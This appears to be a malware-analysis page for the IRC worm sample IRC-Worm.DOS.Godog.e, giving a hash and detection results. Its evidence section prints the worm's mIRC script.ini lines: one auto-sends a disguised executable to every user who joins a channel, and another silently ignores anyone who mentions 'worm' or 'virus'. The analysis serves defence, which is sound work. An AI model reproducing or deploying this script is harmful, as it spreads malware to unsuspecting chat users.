Hostile 93% Download

IRC-Worm.DOS.Godog.e

mIRC worm script

Detects mIRC DCC spreading behavior targeting script.iniDetects mIRC worm behavior modifying script.ini to spread via IRC
SHA-2561dcb726fe634c0ddb892d7a988de23fed54b191562c656ae4fad242e39937578

Evidence

Detects mIRC dcc send command line 96
96�a����<+ɍ���!��@P�w ����!�@�@-w �X����!�>�!������������Q�<+ɍ���!��@Y����!�>�!������!�;���B�!��L�!�w � \mirc�script.ini�xxxrated.exe�8�<9�u2�on 1:text:*worm*:*:{ .ignore $nick | .closemsg $nick } on 1:text:*virus*:*:{ .ignore $nick | .closemsg $nick } on 1:JOIN:#:/dcc send $nick c:\mirc\xxxrated.exe �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.